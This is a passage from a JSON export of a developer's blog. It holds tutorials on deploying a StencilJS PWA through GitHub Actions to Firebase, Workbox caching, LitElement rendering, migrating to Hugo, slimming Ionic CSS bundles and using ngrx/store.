PWA!\nBuild job Actions workflows can have many jobs. Our first job will be to build our PWA.\nStart by creating a new job that runs on the latest ubuntu image.\njobs: build: name: Build runs-on: ubuntu-latest Jobs can have many steps.\nFirst step, we want to checkout the master branch.\nsteps: - name: Checkout Repo uses: actions/checkout@master Then we want to install the dependencies.\n- name: Install Dependencies run: npm ci Then build our app (npm run build npm script when using StencilJS)\n- name: Build run: npm run build To finish we want to save the output (www/ folder with StencilJS) for further usage.\n- name: Archive Production Artifact uses: actions/upload-artifact@master with: name: www path: www The entire file can be found here Deploy job Now that we have the distribution files created on Github Actions, we want to deploy them! To be able to run firebase deploy --only hosting command on another machine than your we need to use a token that you will get running the following command on your machine:\n$ firebase login:ci Get the token and open the Settings \u0026gt; secrets page.\nCreate a new secret with FIREBASE_TOKEN name and the token as value. Now you can refer to this token using ${{ secrets.FIREBASE_TOKEN }} in any of your actions workflow!\nLet\u0026rsquo;s create a new job named deploy that also runs on the latest Ubuntu and uses our repository.\ndeploy: name: Deploy needs: build runs-on: ubuntu-latest steps: - name: Checkout Repo uses: actions/checkout@master Now we can get the www/ folder that we saved on the previous job.\n- name: Download Artifact uses: actions/download-artifact@master with: name: www And finally we can deploy using w9jds/firebase-action workflow with our FIREBASE_TOKEN.\n- name: Deploy to Firebase uses: w9jds/firebase-action@master with: args: deploy --only hosting env: FIREBASE_TOKEN: ${{ secrets.FIREBASE_TOKEN }} If everything is setup correctly, your app should be deployed on \u0026lt;Firebase-project-id\u0026gt;.web.app address.\nThe entire file can be found here Bonus: Buy and use your own domain Go to domains.google or another domain provider and search for your domain. Add it to the cart and check out!\nGo to Firebase, open the \u0026ldquo;hosting\u0026rdquo; menu and click on \u0026ldquo;connect domain\u0026rdquo; button. Enter your domain name and click \u0026ldquo;continue\u0026rdquo;\nThe values you will see are \u0026ldquo;A\u0026rdquo; records that you will need to add to the DNS so it will be able to resolve the routing from your domain name to Firebase IP address.\nCopy those values, go to your domain\u0026rsquo;s DNS menu\nPast the values under \u0026ldquo;custom resource records\u0026rdquo;\nNow you just need to wait up to 48 hours to be able to enjoy your PWA using your brand new domain name!\n","permalink":"https://julienrenaux.fr/2019/11/25/building-deploying-stenciljs-apps-firebase-hosting-github-actions/","tags":[{"LinkTitle":"Stenciljs","RelPermalink":"/tags/stenciljs/"},{"LinkTitle":"Node","RelPermalink":"/tags/node/"},{"LinkTitle":"Github-Actions","RelPermalink":"/tags/github-actions/"},{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"},{"LinkTitle":"Web-Component","RelPermalink":"/tags/web-component/"},{"LinkTitle":"Firebase","RelPermalink":"/tags/firebase/"}],"title":"Case study: isitblackfridayyet.app: #2 Deploying StencilJS apps with Github actions and Firebase hosting."},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":" This post is the first post of a series of posts about how I created isitblackfridayyet.app. Full story here Create a Stencil app Creating a app with StencilJS is really easy. All you need is a recent Node and NPM version.\nIt all starts with the following command:\n$ npm init stencil short after you will be prompt by a choice: Create an Ionic PWA , a StencilJS app or a collection or component.\nAs I wanted the most lightweight app possible, I picked the second choice, but pick the right choice for your project:\n$ Pick a starter › - Use arrow-keys. Return to submit. ionic-pwa Everything you need to build fast, production ready PWAs ❯ app Minimal starter for building a Stencil app or website component Collection of web components that can be used anywhere Pick a project name and confirm the creation:\n✔ Pick a starter › app ✔ Project name › myprojectname ? Confirm? › (Y/n) At this point a myprojectname folder is created. Enter the folder, install the dependencies and start the app:\n$ cd myprojectname/ $ npm install $ npm start A new browser tab should have now opened at http://localhost:3333/ with the following default app. This app has two pages and 3 Web Components, enough to get you started\nDocs Lighthouse Progressive Web App (PWA) result Open Chrome devtools at the Audit tab and run a lighthouse report on your app.\nYou should get the above report. Basically, by default a StencilJS app does not qualify to be a Progressive Web App (PWA)\u0026hellip; because of the lack of service worker.\nRegister a new Service Worker into your StencilJS app In your web page src/index.html, register your new service worker file like so:\n\u0026lt;script\u0026gt; // Check that service workers are supported if (\u0026#39;serviceWorker\u0026#39; in navigator) { // Use the window load event to keep the page load performant window.addEventListener(\u0026#39;load\u0026#39;, () =\u0026gt; { navigator.serviceWorker.register(\u0026#39;/service-worker.js\u0026#39;); }); } \u0026lt;/script\u0026gt; Run npm start and open http://localhost:3333. You will get this error:\nThis error means that service-worker.js file is not present. To add it to the distribution folder (www/), add the following copy property into stencil.config.ts file.\nexport const config: Config = { copy: [{ src: \u0026#39;service-worker.js\u0026#39; }] }; now reload the page, the error should be gone.\nImport Workbox Workbox is a set of libraries and Node modules that make it easy to cache assets and take full advantage of features used to build PWAs.\nEdit src/service-worker.js and add the following code:\nimportScripts( \u0026#39;https://storage.googleapis.com/workbox-cdn/releases/4.3.1/workbox-sw.js\u0026#39;, ); if (workbox) { console.log(`Yay! Workbox is loaded 🎉`); } else { console.log(`Boo! Workbox didn\u0026#39;t load 😬`); } It basically import workbox from a CDN and test if it exists or not.\nStop the webserver and reload npm start. Open the console, Yay! Workbox is loaded 🎉 should be displayed.\nDebug The \u0026ldquo;update on reload\u0026rdquo; toggle will force Chrome to check for a new service worker every time you refresh the page. This means that any new changes will be found on each page load.\nIf you want to see the logs even on prod, you can use workbox.setConfig({ debug: true });. See the result on isitblackfridayyet.app Assets caching strategies Workbox has 5 different assets caching strategies :\nStaleWhileRevalidate: Get from the cache if available, fallback to the network, then populate the cache in the background. CacheFirst: Get from the cache if available and fallback to the network is empty NetworkFirst Get from the Network first and fallback to the cache if offline NetworkOnly Bypass the cache CacheOnly Bypass the Network JS files If we want our JavaScript files to come from the network whenever possible, but fallback to the cached version if the network fails, we can use the NetworkFirst strategy to achieve this.\nworkbox.routing.registerRoute( /\\.js$/, new workbox.strategies.NetworkFirst() ); CSS files To serve CSS from the cache and updated in the background use StaleWhileRevalidate\nworkbox.routing.registerRoute( // Cache CSS files. /\\.css$/, // Use cache but update in the background. new workbox.strategies.StaleWhileRevalidate({ // Use a custom cache name. cacheName: \u0026#39;css-cache\u0026#39;, }), ); Google Fonts isitblackfridayyet.app uses Alata font. Fonts are sometimes slow to load, so it is a good pratice to cache the CSS and the Font file.\nCaching CSS\n// Cache the Google Fonts stylesheets with a stale-while-revalidate strategy. workbox.routing.registerRoute( /^https:\\/\\/fonts\\.googleapis\\.com/, new workbox.strategies.StaleWhileRevalidate({ cacheName: \u0026#39;google-fonts-stylesheets\u0026#39;, }) ); Caching the font file with CacheFirst strategie\n// Cache the underlying font files with a cache-first strategy for 1 year. workbox.routing.registerRoute( /^https:\\/\\/fonts\\.gstatic\\.com/, new workbox.strategies.CacheFirst({ cacheName: \u0026#39;google-fonts-webfonts\u0026#39;, plugins: [ new workbox.cacheableResponse.Plugin({ statuses: [0, 200], }), new workbox.expiration.Plugin({ // a year in seconds maxAgeSeconds: 60 * 60 * 24 * 365, maxEntries: 30, }), ], }) ); Assets precaching To be even more performant we can cache assets ahead of time. Precaching a file will ensure that a file is downloaded and cached before a service worker is installed.\nAdd the following line to src/service-worker.js file.\nworkbox.precaching.precacheAndRoute([]); the precacheAndRoute function will need to be populated, post build with the list of static assets generated and their versions as seen below.\n[ { \u0026#34;url\u0026#34;: \u0026#34;favicons/android-chrome-192x192.png\u0026#34;, \u0026#34;revision\u0026#34;: \u0026#34;c51604a2fd213e799bdd79ba14087001\u0026#34; } ] To get this list easily, we need to install Workbox CLI\nInstall Workbox CLI npm install workbox-cli --global Now build you Stencil app npm run build and run workbox wizard --injectManifest\n? What is the root of your web app (i.e. which directory do you deploy)? www/ #1. Choose www/\n? Which file types would you like to precache? ❯◉ png ◉ xml ◉ ico ◉ svg #2. Select the assets you want to cache\n? Where\u0026#39;s your existing service worker file? To be used with injectManifest, it should include a call to \u0026#39;workbox.precaching.precacheAndRoute([])\u0026#39; www/service-worker.js #3. Point to www/service-worker.js file that should be there if you followed from the beginning\n? Where would you like your service worker file to be saved? www/sw.js #4. Select a new name for the generated service worker (can\u0026rsquo;t be www/service-worker.js). Here www/sw.js is fine.\nDon\u0026rsquo;t forget to change the name of the service worker you want to use on prod with the new one:\nwindow.addEventListener(\u0026#39;load\u0026#39;, () =\u0026gt; { navigator.serviceWorker.register(\u0026#39;/sw.js\u0026#39;); }); ? Where would you like to save these configuration options? (workbox-config.js) #5. Save the config at the root of your project for future usage.\nTo finish run workbox injectManifest to populate workbox.precaching.precacheAndRoute([]) line\n$ workbox injectManifest At this point you app should be able to run offline. Try it out on isitblackfridayyet.app .\nEverything together importScripts( \u0026#39;https://storage.googleapis.com/workbox-cdn/releases/4.3.1/workbox-sw.js\u0026#39;, ); workbox.setConfig({ debug: true, }); workbox.routing.registerRoute(/\\.js$/, new workbox.strategies.NetworkFirst()); workbox.routing.registerRoute( // Cache CSS files. /\\.css$/, // Use cache but update in the background. new workbox.strategies.StaleWhileRevalidate({ // Use a custom cache name. cacheName: \u0026#39;css-cache\u0026#39;, }), ); // Cache the Google Fonts stylesheets with a stale-while-revalidate strategy. workbox.routing.registerRoute( /^https:\\/\\/fonts\\.googleapis\\.com/, new workbox.strategies.StaleWhileRevalidate({ cacheName: \u0026#39;google-fonts-stylesheets\u0026#39;, }), ); // Cache the underlying font files with a cache-first strategy for 1 year. workbox.routing.registerRoute( /^https:\\/\\/fonts\\.gstatic\\.com/, new workbox.strategies.CacheFirst({ cacheName: \u0026#39;google-fonts-webfonts\u0026#39;, plugins: [ new workbox.cacheableResponse.Plugin({ statuses: [0, 200], }), new workbox.expiration.Plugin({ maxAgeSeconds: 60 * 60 * 24 * 365, maxEntries: 30, }), ], }), ); workbox.precaching.precacheAndRoute([]); Result Open the devtools, under Application \u0026gt; Cache Storage you should see a bucket for precached files and some more for CSS, JS etc.\nIf you open the Network tab and reload your app you should see the assets served by the service\u0026rsquo;s worker cache\nAnd to finish re-run the lighthouse audit:\nYou are now the proud owner of a great PWA!\n","permalink":"https://julienrenaux.fr/2019/11/25/creating-progressive-web-app-pwa-serviceworker-stenciljs-workbox/","tags":[{"LinkTitle":"Stenciljs","RelPermalink":"/tags/stenciljs/"},{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"},{"LinkTitle":"Web-Component","RelPermalink":"/tags/web-component/"}],"title":"Case study: isitblackfridayyet.app: #1 Creating a Progressive Web App with StencilJS and Workbox"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"It all started on a cloudy day, for the first time since I was a dad, I had time to code for fun! I made my checklist:\n✅ work is over 🅰️\n✅ baby is out of kindergarten 🐣\n✅ baby is clean 🛀 ✅ baby is sleeping 🛌\n✅ dinner is over 🥪\nNOW I CAN START PLAYING WITH @Ionicframework React ...\n... THANKS GOD 🙏\n\u0026mdash; Julien Renaux (@julienrenaux) November 5, 2019 I was ready to have fun!\nAfter few hours I got really sick of React\u0026rsquo;s hooks (even though I use React since 2016), so I decided to play with Web Components and StencilJS instead.\nCreating a new product I wanted to create something small and fun that can be on production in few hours (yeah I am tired of side projects that never go to production\u0026hellip;).\nKnowing that Black Friday was really close I decided to create isitblackfridayyet , a product that tells you if it is Black Friday day or not 😂 (totally inspired by isitweekendyet ).\nThe product should:\nWork offline Score 100 on lighthouse Be built and deployed on Github Actions Be hosted on Firebase Tweet once a day if it is black friday or not as an image (that makes it more challenging than just text.). @isitblackfriday was created. The journey To explain the journey, I created three different posts that would help you follow step by step how I created isitblackfridayyet .\nCreating a Progressive Web App with StencilJS and Workbox Creating Cron based images with Firebase functions and Puppeteer Building and Deploying StencilJS apps with Github actions and Firebase hosting Enabling Dark mode And to finish, isitblackfridayyet.app code is of course open source ","permalink":"https://julienrenaux.fr/2019/11/25/case-study-isitblackfridayyet/","tags":[{"LinkTitle":"Stenciljs","RelPermalink":"/tags/stenciljs/"},{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"},{"LinkTitle":"Web-Component","RelPermalink":"/tags/web-component/"},{"LinkTitle":"Node","RelPermalink":"/tags/node/"},{"LinkTitle":"Github-Actions","RelPermalink":"/tags/github-actions/"},{"LinkTitle":"Firebase","RelPermalink":"/tags/firebase/"},{"LinkTitle":"Puppeteer","RelPermalink":"/tags/puppeteer/"}],"title":"Case study: isitblackfridayyet.app"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"As you might know I am a big Web Component fan and I listen/read a lot about it. This blog post idea came out when I watched the talk \u0026ldquo;The Virtue of Laziness: Leveraging Incrementality for Faster Web UI\u0026rdquo; by the great Justin Fagnani . If you do not have time to watch it, this blog post is kind of a summary with references and demos.\nPrerequisite knowledge Here is the knowledge that you should acquire to fully understand the blog post. Read carrefuly and open the source links to even go further if needed.\nDevice refresh rates Most devices today refresh their screens 60 times a second, which means each frame has a budget of 16.6ms. However it is recommended to complete any work under 10ms. If you cannot make it work under 10ms, the browser will drop one or more frames and as a consequence the users will experience jank as illustrated below:\nsource Event loop The event loop model in JavaScript, unlike a lot of other languages, never blocks I/O operations (few exceptions exist).\nTo understand how the event loop works, read the following piece of code.\nconsole.log(\u0026#39;script start\u0026#39;); setTimeout(function() { console.log(\u0026#39;setTimeout\u0026#39;); }, 0); Promise.resolve().then(function() { console.log(\u0026#39;promise1\u0026#39;); }).then(function() { console.log(\u0026#39;promise2\u0026#39;); }); console.log(\u0026#39;script end\u0026#39;); In what order do you think those logs will appear in the console ?\nSolution:\nscript start script end promise1 promise2 setTimeout To fully understand what happened you need to understand what are microtasks and tasks and in which order the browser uses them.\nJS stack: JS thread, proceed with one task at the time Microtask are usually scheduled for things that should happen straight after the currently executing script, such as reacting to a batch of actions, or to make something async without taking the penalty of a whole new task. Tasks are scheduled so the browser can get from its internals into JavaScript/DOM land and ensures these actions happen sequentially. You can imagine those to be three piles of actions with different priorities. The priorities being the following:\nJS stack \u0026gt; Microtask queue \u0026gt; Task queue\nMust see: Jake Archibald: In The Loop - JSConf.Asia 2018 More details on Jake Archibald\u0026rsquo;s blog (Developer advocate on Chrome) more on the JS event loop LitElement LitElement is a simple base class for creating fast, lightweight web components.\nBatch work LitElement rendering is always async and this feature is leveraged to update the DOM by batch.\nTo illustrate that, let\u0026rsquo;s create the Web Component MyElement that will observe changes on firstName and lastName properties using @property decorator:\n@customElement(\u0026#39;my-name\u0026#39;) export class MyElement extends LitElement { @property() firstName = \u0026#39;\u0026#39;; @property() lastName = \u0026#39;\u0026#39;; render() { /* renders the component */ } } Will the render method be called everytime I set a new value to any of its properties ?\nThe answer is NO, litElement will batch updates so that both examples below will call render only once:\nconst el = new MyElement(); el.firstName = \u0026#39;Julien\u0026#39;; // Create a microtask const el = new MyElement(); el.firstName = \u0026#39;Julien\u0026#39;; // Create a microtask el.lastName = \u0026#39;Renaux\u0026#39;; // reuse the same microtask Demo\nTo get notify when the update is complete you can use the getter updateComplete that returns a Promise.\nconst el = new MyElement(); el.firstName = \u0026#39;Julien\u0026#39;; el.lastName = \u0026#39;Renaux\u0026#39;; await el.updateComplete; Update lifecycle The complete list can be found here but here is the main ones:\nrequestUpdate (called when a property has changed). performUpdate (called after one or many requestUpdate have been called). shouldUpdate (controls whether an update should proceed). update (reflects property values to attributes and calls render to render DOM). render (uses lit-html to render the element template). Default rendering By default, performUpdate is scheduled as a microtask after the end of the next execution of the browser event loop. This means that we can have async rendering but still blocking paint by using microtask queue.\nImagine a tree of nodes where each node takes 50ms (or more) to render (way above the 10ms that makes smooth paint).\nWhen the tree is rendered using the default LitElement microtask timing, browser layout \u0026amp; paint is blocked until the microtask queue is empty (as shown below):\nYour browser does not support the video tag. Demo\nSource: https://codesandbox.io/s/r1r8x76wrq?from-embed You can reproduce this at home running this code 😂 (use with caution)\nconst loop = () =\u0026gt; Promise.resolve().then(loop); loop(); It will block the rendering forever.\nLazy rendering We just saw that for complex UI trees the default lit-element rendering can be blocking and therefore introduce jank. To prevent that we have the ability to force the browser paint by using the task queue instead of the microtask queue per render batch.\nTo do so, we can overwrite performUpdate method and use setTimeout or requestAnimationFrame. It will let the browser paint and handle input before the render.\nclass LazyLitElement extends HTMLElement { async performUpdate() { await new Promise((resolve) =\u0026gt; setTimeout(resolve)); super.performUpdate(); } } Now it paints intermidiate steps!\nDemo\nSource: https://codesandbox.io/s/r1r8x76wrq?from-embed Urgent update To go even further we can manually force an update to be prioritized on a user input. What we need to do is to store the resolve function on the instance of the element when an update is scheduled.\nclass LazyLitElement extends HTMLElement { [resolveUrgentUpdate]: () =\u0026gt; void; async performUpdate() { await new Promise((resolve) =\u0026gt; { setTimeout(resolve); this[resolveUrgentUpdate] = resolve; }); super.performUpdate(); } } Then we can create a function requestUrgentUpdate as below:\nclass LazyLitElement extends HTMLElement { requestUrgentUpdate() { this.requestUpdate(); if (this[resolveUrgentUpdate] !== undefined) { this[resolveUrgentUpdate]!(); } } } Calling requestUrgentUpdate will cause the scheduleUpdate promise to resolve earlier, jumping from the task queue up to the microtask queue and therefore forcing an immediate paint.\nThanks for reading, I hope rendering with LitElement is now a bit more comprehensible. If you have any question you can ping me on twitter or leave a comment below.\nBig thanks to Kenneth for the review.\n","permalink":"https://julienrenaux.fr/2019/04/01/lit-element-rendering-strategies-explained/","tags":[{"LinkTitle":"Lit-Element","RelPermalink":"/tags/lit-element/"},{"LinkTitle":"Web-Component","RelPermalink":"/tags/web-component/"}],"title":"Lit Element rendering strategies explained"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"After 7 years using WordPress for my personal Website I decided to change to Hugo . Besides the fact that I love to try new tools, here is a list of things that convinced me to switch Hugo.\nWhy Hugo Hugo renders static pages Static site generator are really popular these days and they are many good reasons for that. Static site generators generate static content (html, css etc.) from whatever filetype you use (.mp, .scss, .etc). The main benefit is a blazing fast first meaningful paint and time to interactive.\nYour visitors do not wait for the server to generated anything on demand but rather wait for the static content to be served (which is way faster).\nHugo is super fast For those of you who have used Jekyll , you know how slow it is to use it. I still use Jekyll for GDG Toulouse website and every page change takes up to 10 seconds before it shows on screen when developing. With Hugo, it takes milliseconds for real 😱!\nHugo supports Markdown and shortcodes Supporting Markdown in 2019 is nothing extraordinary but since I wrote my WordPress blog posts using Markdown (which it not supported by default on WP) the migration was a breath.\nHugo allows you to enhance your Markdown pages with shortcodes. Shortcodes are simple snippets inside your content files calling built-in or custom templates.\nFor instance here is how to use a syntax highlighter for tech blogs:\n{{\u0026#x3C; highlight shell \u0026#x3E;}} #!/bin/bash PATH=$PATH:$(npm bin) set -x. {{\u0026#x3C; /highlight \u0026#x3E;}} Which produce the following:\n#!/bin/bash PATH=$PATH:$(npm bin) set -x. w Shortcodes are great and if you don\u0026rsquo;t find the right shortcode in the existing list , you can create your own by simply creating a file my-shorcode.html in layouts/shortcodes and 💥 you are now able to call it within your blog posts and templates!\nHugo can be deployed anywhere Once compiled down to CSS, JS and HTML pages using hugo command, you can deploy the result anywhere (firebase, github pages, Heroku etc.). All you need is a web server (nginx, apache), PHP is not required.\nPerformance comparisons It is really hard to compare two websites even if they seem to provide the same content. My previous WP website add a lot of plugins that might not have been necessary at all and that might have made the JS/CSS footprint bigger for no reason.\nThe numbers you will find below do not come from a scientific benchmark and therefore are not to be taken as final truth.\nLighthouse The first thing I did was to run Lighthouse on both websites.\nWordpress (previous website)\nHugo (new website)\nAs you can see, in terms of performance the new version built with Hugo is better on all grounds. The first meaningful paint is two times faster and the time to interactive is five times faster.\nJS Footprint Result: 17 times less requests and 9 times smaller JavaScript downloaded and parsed.\nCSS Footprint Result: 2.6 times less requests and 29 times smaller CSS downloaded and parsed.\nConclusion I am really happy with Hugo so far for the following reason:\nIt is lightning fast (few milliseconds to build). I can continue writting Markdown blog posts. I can deploy it on Github pages for free. It provides al lot of cool tools (templates, shortcodes, pipes and more) and makes it easy to build your own (charts in this post are homemade shortcodes for example). It makes my blog smaller and therefore faster. ","permalink":"https://julienrenaux.fr/2019/02/14/from-wordpress-to-hugo/","tags":[{"LinkTitle":"Hugo","RelPermalink":"/tags/hugo/"}],"title":"I finally migrated my blog from WordPress to Hugo"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Several days ago I released ionic-twitter-pwa , an Open Source project that aims to rewrite mobile.twitter.com Progressive Web App (PWA) with Ionic. I created this project to prepare this blog post but also the talk I will be delivering in the Mobile Era conference in October.\nPeople loved it and made it trending within the Angular community for a couple of days.\nThis article is the first one of a serie of articles about building PWAs with Ionic-Angular and aims to help you reduce the CSS bundle of your PWA by up to 91%.\nCreate an app with Ionic CLI It all starts with Ionic CLI :\n$ npm install -g ionic@latest Once installed, start a new project by running ionic start and follow the steps. To make things simple, we will create a brand new blank application, but you select the one you prefer.\n$ ionic start ? What starter would you like to use: \u0026gt; blank .............. ionic-angular A blank starter project The installation takes several minutes.\nMeasure performance We cannot optimize something that we have not measured first. When you start a new project, take some time to install tools that will help you doing so.\nI recommend those services:\ntestmysite.withgoogle lighthouse webpagetest Before you measure anything make sure you build the production app. The production app minifies the JS and CSS, runs the tree shaking (remove useless imports), removes dead code etc.\n$ ./node_modules/.bin/ionic-app-scripts build --prod Open www/build/ folder and check the size of main.css file. It should be around 192 KB (for reference the entire Bootstrap CSS is only 118KB).\nLet\u0026rsquo;s see what we can improve here!\nBuild for one platform only Maybe you do not know but Ionic is meant to render with a different UI on three different platforms: Android, iOS and Windows Phone.\nThis is great when building an hybrid app but not really when building a PWA. Indeed in a PWA the size of assets really matters. Unfortunetly for us those three different styles are included in the SAME css file. That is mostly the reason why the CSS is so big.\nTo reduce the size of the CSS we are going to build only one design: Material Design (Android).\nOpen src/app/app.module.ts and replace:\nIonicModule.forRoot(MyApp) by:\nIonicModule.forRoot(MyApp, { mode: \u0026#39;md\u0026#39; // \u0026#39;md\u0026#39; | \u0026#39;ios\u0026#39; | \u0026#39;wp\u0026#39; }) the result is that we now have Material Design style on every platform! That\u0026rsquo;s great but the size of our CSS has not changed a bit\u0026hellip; it is still 192 KB.\nTo remove iOS and WP styles we need to overwrite ionic-app-scripts sass configuration.\nCreate a sass.js file a the root of your project and dump the content of this file: https://github.com/ionic-team/ionic-app-scripts/blob/master/config/sass.config.js Open package.json and add the following at the end:\n\u0026#34;config\u0026#34;: { \u0026#34;ionic_sass\u0026#34;: \u0026#34;./sass.js\u0026#34; } Now when running any build, sass.js configuration will be used instead of the default one.\nOpen sass.js and modify the excludeFiles section with the following:\nexcludeFiles: [ /\\.(wp|ios).(scss)$/i, ], Open src/theme/variables.scss and remove @import \u0026quot;noto-sans\u0026quot;; (iOS fonts)\nThis will exclude Windows Phone and iOS styles out of your bundle.css. The result is a reduction by 43% (down to 109KB) of your bundle!\nRemove ionicons Ionicons are great but way too big out of the box.\nI suggest to remove it, build it yourself or use icomoon with only the icons you need.\nOpen src/theme/variables.scss and remove @import \u0026quot;ionic.ionicons\u0026quot;;.\nThe result is another reduction by 36% (down to 69KB) of your bundle!\nRemove CSS that you do not use If we analyse the rest of the CSS bundle, we will find out that a lot of styles are for components that we do not even use.\nThe complete list of component styles can be found here .\nOpen sass.js and modify the excludeFiles section once again with the following:\nexcludeFiles: [ /\\.(wp|ios).(scss)$/i, /(action-sheet|alert|backdrop|badge|button|card|checkbox|chip|datetime|fab|grid|icon|img|infinite-scroll|input|item|label|list|loading|menu|modal|note|picker|popover|radio|range|refresher|searchbar|segment|select|show-hide-when|slides|split-pane|spinner|tabs|toast|toggle|virtual-scroll|cordova)/i, ], For the blank app we only need to keep: app, content and toolbar but of course in a more advanced app you will need more.\nThe result is another reduction by 36% (down to 44KB) of your bundle!\nRun purify-css purify-css will analyse the usage of your CSS and remove what you do not use.\n$ npm install purify-css --dev Even though we managed to build only the style of the components we use, there are still styles that we do not use. If we take the toolbar for instance, the style contains definitions for toolbar-md-danger or toolbar-md-dark which are styles we won\u0026rsquo;t use.\n#!/bin/bash PATH=$PATH:$(npm bin) set -x BUILDFOLDER=www/ # clean up previous build rm -fr $BUILDFOLDER # Prod build ionic-app-scripts build --prod \\ --wwwDir $BUILDFOLDER # remove unused css purifycss $BUILDFOLDER\u0026#34;build/main.css\u0026#34; \\ $BUILDFOLDER\u0026#34;build/*.js\u0026#34; \\ --info \\ --min \\ --out $BUILDFOLDER\u0026#34;build/main.css\u0026#34; \\ --whitelist .bar-button-default Sometimes purify-css removes style that you use. If that happens you only need to add a new whitelist rule under --whitelist.\nRun the following script to reduce the bundle size by another 62.5% (down to 17KB)!\nResult Before CSS optimization After CSS optimization We reduced the CSS size from 192KB to 17KB which is a reduction by 91%! The size of our gzipped CSS bundle is now 3.8KB and represent only 2.1% (instead of 11.5%) of our assets size.\nFor reference ionic-twitter-pwa \u0026rsquo;s CSS bundle is 86KB (14.3KB Gzipped)\nThanks for reading, if you liked this article do not hesitate to share it and follow me on twitter @julienrenaux !\n","permalink":"https://julienrenaux.fr/2017/07/20/optimized-ionic-angular-css-bundle-for-pwas/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Optimized Ionic-Angular CSS Bundle for PWA"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"If you already know Redux and start a new Angular project you might wonder the difference between ngrx/store and angular-redux/store .\nngrx/store is an RxJS powered state management for Angular applications (inspired by Redux, but do not use it) and angular-redux/store is just bindings around the Redux API (uses Redux).\nThe choice between those two is really up to you, they both support Ahead of Time compilation and Redux devtools.\nAs it is a bit of a mind shift, this post explain the transition from Redux to ngrx/store where everything is an Observable!\nAction An action in Redux or ngrx/store is the same thing. An action describes the change to make to the store. While type is required on both Redux and ngrx/store, the Action signature is different. With Redux the Action object apart from type is really up to you but with ngrx/store you can only add an optional payload key.\nHere is the ngrx/store Action signature:\nexport interface Action { type: string; payload?: any; } Reducers Actions describe the fact that something happened, but don\u0026rsquo;t specify how the application\u0026rsquo;s state changes in response. This is the job of reducers. The reducer is a pure function that takes the previous state and an action, and returns the next state.\nOnce again Redux and ngrx/store uses the same concept. As reducers are pure functions, it is important not to mutate arguments (state or action) and to return a new reference of the state if something was modified.\nimport { ActionReducer, Action } from \u0026#39;@ngrx/store\u0026#39;; import { INCREMENT_COUNTER, DECREMENT_COUNTER } from \u0026#39;../actions\u0026#39;; const INITIAL_STATE = 0; export const counterReducer: ActionReducer\u0026lt;number\u0026gt; = (state: number = INITIAL_STATE, action: Action) =\u0026gt; { switch (action.type) { case INCREMENT_COUNTER: return state + 1; case DECREMENT_COUNTER: return state - 1; default: return state; } } Creating the store Redux and ngrx/store both provide the combineReducers utility to implement a common state shape, which is a plain Javascript object containing \u0026ldquo;slices\u0026rdquo; of domain-specific data at each top-level key.\nFor instance if you want your state to have a list of users and the language of the client you could do something like that shape:\n{ \u0026#34;users\u0026#34;: [], \u0026#34;language\u0026#34;: \u0026#34;\u0026#34; } To create such a shape, you can use combineReducers and associate a key with a reducer:\nimport { StoreModule, combineReducers } from \u0026#39;@ngrx/store\u0026#39;; import { usersReducer } from \u0026#39;./reducers/users\u0026#39;; import { languageReducer } from \u0026#39;./reducers/language\u0026#39;; export function reducer(state: any, action: any) { return combineReducers({ users: usersReducer, language: languageReducer, })(state, action); } @NgModule({ imports: [ BrowserModule, StoreModule.provideStore(reducer), ] }) export class AppModule {} Store API GetState With Redux, getState is a simple function that returns the current state tree of you application. The equivalent when using ngrx/store is to use the RxJS take operator . take emits only the first n items emitted by an Observable, so take(1) will return the first value only.\nGetting the entire state:\nlet currentState = {}; store .select(state =\u0026gt; state) // select the entire state .take(1) .subscribe(state =\u0026gt; currentState = state) console.log(currentState) // entire state Getting a portion of the state:\nlet usersList = {}; store .select(state =\u0026gt; state.users) // select a portion of the state .take(1) .subscribe(users =\u0026gt; usersList = users) console.log(usersList) // users list or\nlet usersList = {}; store .select(\u0026#39;users\u0026#39;) // select a portion of the state .take(1) .subscribe(users =\u0026gt; usersList = users) console.log(usersList) // users list Dispatch Redux and ngrx/store have the same concept of dispatch. dispatch is the only way to trigger a state change by dispatching an action.\nimport { Component } from \u0026#39;@angular/core\u0026#39;; import { REMOVE_USER } from \u0026#39;../..actions\u0026#39;; import { AppState, IUser } from \u0026#39;../../reducers\u0026#39;; @Component({ selector: \u0026#39;users\u0026#39;, templateUrl: \u0026#39;users.html\u0026#39; }) export class UsersComponent { constructor( private store: Store\u0026lt;AppState\u0026gt;, ) {} removeUser(user: IUser) { this.store.dispatch({ type: REMOVE_USER, payload: user }); } } Subscribe Redux store.subscribe takes one argument, the callback to be invoked any time an action has been dispatched. This is how with Redux you are aware of changes in the store. With ngrx/store it is really easy, you just need to subscribe to the Observable that select return.\nstore .select(state =\u0026gt; state) // select the entire state .subscribe(state =\u0026gt; { // called when something has changed }) Action creators Action creators are function that return an Action. Both Redux and ngrx/store can leverage this pattern to create actions.\nimport { Action } from \u0026#39;@ngrx/store\u0026#39;; export const LOGIN = \u0026#39;LOGIN\u0026#39;; export const LOGIN_SUCCESS = \u0026#39;LOGIN_SUCCESS\u0026#39;; export const LOGIN_FAILED = \u0026#39;LOGIN_FAILED\u0026#39;; export const login = (): Action =\u0026gt; ({ type: LOGIN }); export const loginSuccess = (token, user): Action =\u0026gt; ({ type: LOGIN_SUCCESS, payload: { token, user } }); export const loginFailed = (): Action =\u0026gt; ({ type: LOGIN_FAILED }); Once you have declared all you action creators, you can easily call them within your components:\nimport { Component } from \u0026#39;@angular/core\u0026#39;; import { Store } from \u0026#39;@ngrx/store\u0026#39;; import { Http } from \u0026#39;@angular/http\u0026#39;; import { login, loginSuccess, loginFailed } from \u0026#39;./../actions\u0026#39;; @Component({ ... }) export class LoginComponent { constructor( public store: Store\u0026lt;AppState\u0026gt;, public http: Http, ) { } login(credentials = {}) { this.store.dispatch(login()); return this.http.post(\u0026#39;authentication\u0026#39;, credentials) .toPromise() .then(r =\u0026gt; r.json()) .then((r) =\u0026gt; 